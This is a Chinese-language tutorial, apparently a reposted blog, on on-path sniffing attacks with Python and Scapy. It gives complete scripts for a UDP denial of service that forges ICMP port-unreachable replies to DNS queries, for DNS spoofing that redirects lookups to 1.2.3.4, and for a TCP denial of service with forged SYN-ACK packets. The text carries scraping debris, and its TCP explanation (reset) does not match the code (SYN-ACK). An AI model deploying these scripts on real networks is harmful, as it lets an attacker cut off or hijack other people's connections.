網絡安全 - 旁路監聽攻擊技術

部分來自網絡,適用於學習,維護網絡安全,作合法公民html

1、UDP

和TCP不一樣,UDP沒有面向鏈接的機制,其是一種不可靠的協議,沒有確認機制。也就是說只要其端口開放,有數據須要交互時直接進行數據交互,也不須要TCP的三次握手。這樣的話,基於UDP的攻擊比基於TCP的攻擊須要分析的條件相對少了一些。python

下面是Python實現過程:linux

一、配置環境

本人使用的是Win7 64位系統,Python2.7.9,Scapy2.3.3(Python版本必須>=2.7.9,由於Scapy其它版本缺乏模塊)。windows

安裝Python後,下載 setuptools-36.2.0 ,解壓到任意目錄下,運行:安全

圖片描述

運行成功後,會生成Script目錄,裏面就是下載Python模塊的工具了:網絡

圖片描述

接下來咱們安裝Scapy2.3.3:併發

若是安裝出現問題,請注意Python與Scapy版本。若是與文章中不一樣版本,請自行解決

以上咱們就將環境配置好了。dom

二、安裝抓包工具 Wireshark

Wireshark使用起來很簡單,這裏不作過多介紹。抓包工具備不少,下面介紹幾款流行抓包工具:Wireshark、Fiddler(可抓取網站或手機數據包,可支持Https)、Burpsuite、tcpdump(Linux自帶工具)、airodump-ng(Wifi滲透,可顯示路由器的BSSID ESSID,以及全部鏈接的客戶端。但須要一款可監聽注入的網卡)等等。tcp

運行Wireshark,點擊監聽的網絡:工具

圖片描述

接下來咱們 ping www.baidu.com 會抓到什麼包?

圖片描述

圖片描述

圖片描述

上圖依次爲DNS域名查詢請求與響應,成功返回ip。以上就是一次DNS域名解析的過程。

查詢網卡詳細信息:

圖片描述

三、實施攻擊

3.一、UDP DOS

由於UDP是無鏈接的,同一個鏈接中的報文與前面或後面的報文都沒有直接關係。所以對其DOS攻擊不像TCP那樣只須要發送一個reset包就能夠幹掉一個TCP鏈接那樣簡單,針對UDP的DOS須要將每一個報文都DOS掉,否則應用層的重傳機制仍是會重傳相應數據以保持會話與交互的數據完整。所以針對UDP的DOS攻擊通常狀況下都是針對UDP的輕量化應用進行攻擊,如DNS這種小量交互的報文,而不是P2P這種大量報文交互的應用。

所以對其進行DOS很是簡單,只須要監聽網絡中的DNS流量,有DNS查詢時,直接返回一個ICMP Port unreachable報文便可,表示端口沒有開放。若爲TCP的應用,其端口沒有開放時,通常回應一個reset報文。而且有一點必定要保證,就是ICMP port unreachable報文必定要比正常的DNS 響應報文早到客戶端,這樣才能夠達到DOS的效果。

部分代碼作了註釋:

#!/usr/bin/python
# -*- coding: utf-8 -*-

import random
from scapy.all import *
from scapy.arch.windows import compatibility

# 防止scapy2.3.3版本中出現log_runtime錯誤
compatibility.log_runtime = log_runtime
compatibility.MTU = MTU
compatibility.PcapTimeoutElapsed = PcapTimeoutElapsed
compatibility.ETH_P_ALL = ETH_P_ALL
compatibility.plist = plist
compatibility.sniff(1)

conf.iface = 'Intel(R) Ethernet Connection I217-LM' # 綁定網卡,替換成以前所保存的網卡信息,linux需在sniff()中指定網卡

# DNS響應的地址,隨機ip字段的id和ttl
ipid = random.randint(1,65535)
ipttl = random.randint(45,80)

def buying(mots):

    resp = Ether()/IP()/ICMP()/IP()/UDP()

    #構造ICMP報文
    resp[ICMP].type = 3
    resp[ICMP].code = 3
    resp[ICMP][IP].src = mots[IP].src
    resp[ICMP][IP].dst = mots[IP].dst
    resp[ICMP][IP].ttl = ipttl
    resp[ICMP][IP].id = ipid
    resp[ICMP][UDP].sport = mots[UDP].sport
    resp[ICMP][UDP].dport = mots[UDP].dport

    #構造IP包頭
    resp[IP].src = mots[IP].dst
    resp[IP].dst = mots[IP].src
    resp[IP].ttl = ipttl
    resp[IP].id  = ipid

    #構造以太網包頭
    resp[Ether].src = mots[Ether].dst
    resp[Ether].dst = mots[Ether].src

    #發送構造的ICMP響應包
    sendp(resp, count = 100)

if __name__ == '__main__':
    print 'start sniff'
    sniff(prn=buying, filter="udp dst port 53") # 嗅探,過濾upd目標端口53

命令行運行Python程序,而後再次 ping www.baidu.com,出現如下狀況:

圖片描述

因爲DNS使用UDP,而UDP是一種不可靠的協議,其存在丟包的可能,所以DNS爲了保證應用的可靠性,通常的DNS查詢都是發送多個,當前面一個查詢失敗時,會繼續發送DNS查詢報文。若是第一個DNS查詢被DOS了,可是第二個DNS時卻被正常響應了。因此致使DNS結果仍是正常的。

圖片描述

圖片描述

3.二、UDP 欺騙

很簡單,在監聽到客戶端發送請求時,發送一個僞造的響應,而且比正常的響應早到,這樣便可達到欺騙的效果。實際攻擊仍是攻擊輕量化的應用,流量較大的攻擊效果不必定明顯,且成本很大。仍是以DNS爲測試目標吧。DNS污染在運營商裏作的比較多,原理很簡單:利益。而且其實現起來具備自然優點,能夠在關鍵鏈路和節點進行分光監聽併發送僞造的數據包。

#!/usr/bin/python
# -*- coding: utf-8 -*-

import random
from scapy.all import *
from scapy.arch.windows import compatibility

# 防止scapy2.3.3版本中出現log_runtime錯誤
compatibility.log_runtime = log_runtime
compatibility.MTU = MTU
compatibility.PcapTimeoutElapsed = PcapTimeoutElapsed
compatibility.ETH_P_ALL = ETH_P_ALL
compatibility.plist = plist
compatibility.sniff(1)

conf.iface = 'Intel(R) Ethernet Connection I217-LM' # 綁定網卡,linux需在sniff()中指定網卡

# DNS響應的地址,隨機ip字段的id和ttl
rdata = "1.2.3.4"
ipid = random.randint(1,65535)
ipttl = random.randint(45,80)

def buying(mots):

    resp = Ether()/IP()/UDP()/DNS()

    #構造DNS相關字段
    resp[DNS].qr = 1
    resp[DNS].rd = 1
    resp[DNS].qdcount = 1
    resp[DNS].ancount = 1
    resp[DNS].id = mots[DNS].id
    resp[DNS].qd = mots[DNS].qd
    resp[DNS].an = DNSRR(type='A',rclass='IN',ttl=1800,rdata=rdata)
    resp[DNS].an.rrname = mots[DNS].qd.qname

    #構造UDP相關字段
    resp[UDP].dport = mots[UDP].sport
    resp[UDP].sport = mots[UDP].dport

    #構造IP包頭
    resp[IP].src = mots[IP].dst
    resp[IP].dst = mots[IP].src
    resp[IP].ttl = ipttl
    resp[IP].id  = ipid

    #構造以太網包頭
    resp[Ether].src = mots[Ether].dst
    resp[Ether].dst = mots[Ether].src

    #發送構造的DNS響應包
    sendp(resp)
    print("DNS響應爲:",mots[DNS].qd.qname,'->',rdata)

if __name__ == '__main__':
    print 'start sniff'
    sniff(prn=buying,filter="udp dst port 53")

命令行運行Python程序,而後再次 ping www.baidu.com,出現如下狀況:

圖片描述

圖片描述

圖片描述

以上就成功進行了UDP欺騙,將百度重定向到1.2.3.4上。

2、TCP

好比探測某一端口是否開放時,通常發送SYN,若其端口開放,對方迴應SYN+ACK;若端口不開放,則迴應reset。因此針對TCP的應用,咱們進行DOS時,能夠監聽其SYN包,一旦有客戶端發送SYN,直接給其迴應reset,而且保證僞造的reset比正常的響應包早到,便可達到DOS的效果。

一、配置環境

與UDP配置相同

二、實施攻擊

2.一、TCP DOS

#!/usr/bin/python
# -*- coding: utf-8 -*-

import random
from scapy.all import *
from scapy.arch.windows import compatibility

# 防止scapy2.3.3版本中出現log_runtime錯誤
compatibility.log_runtime = log_runtime
compatibility.MTU = MTU
compatibility.PcapTimeoutElapsed = PcapTimeoutElapsed
compatibility.ETH_P_ALL = ETH_P_ALL
compatibility.plist = plist
compatibility.sniff(1)

conf.iface = 'Intel(R) Ethernet Connection I217-LM' # 綁定網卡,linux需在sniff()中指定網卡

#隨機ip字段的id和ttl
ipid = random.randint(1,65535)
ipttl = random.randint(45,80)
tcpseq = random.randint(1,4294967295)

def buying(tcpmots):

    resp = Ether()/IP()/TCP()

    #構造TCP相關字段
    resp[TCP].dport = tcpmots[TCP].sport
    resp[TCP].sport = tcpmots[TCP].dport
    resp[TCP].ack = 0 # ack大小能夠任意指定
    resp[TCP].flags = 'SA'
    resp[TCP].window = 0

    # 構造IP包頭
    resp[IP].src = tcpmots[IP].dst
    resp[IP].dst = tcpmots[IP].src
    resp[IP].ttl = ipttl
    resp[IP].id  = ipid

    #構造以太網包頭
    resp[Ether].src = tcpmots[Ether].dst
    resp[Ether].dst = tcpmots[Ether].src

    #發送構造的TCP DOS 包
    sendp(resp,count=1)
    print('TCP DOS 攻擊',resp[IP].dst,'成功')

if __name__ == '__main__':
    print 'start sniff'
    sniff(prn=buying,filter='tcp[tcpflags]&(tcp-syn)!=0 and tcp[tcpflags]&(tcp-ack)==0')

運行以上代碼:

圖片描述

你們實驗可能失敗的因素有不少,好比對DNS進行了加密、採用DNS延遲解析、網絡不穩定都會對攻擊產生必定影響,不是每次攻擊都會成功,這點但願你們能注意到。

相關文章
相關標籤/搜索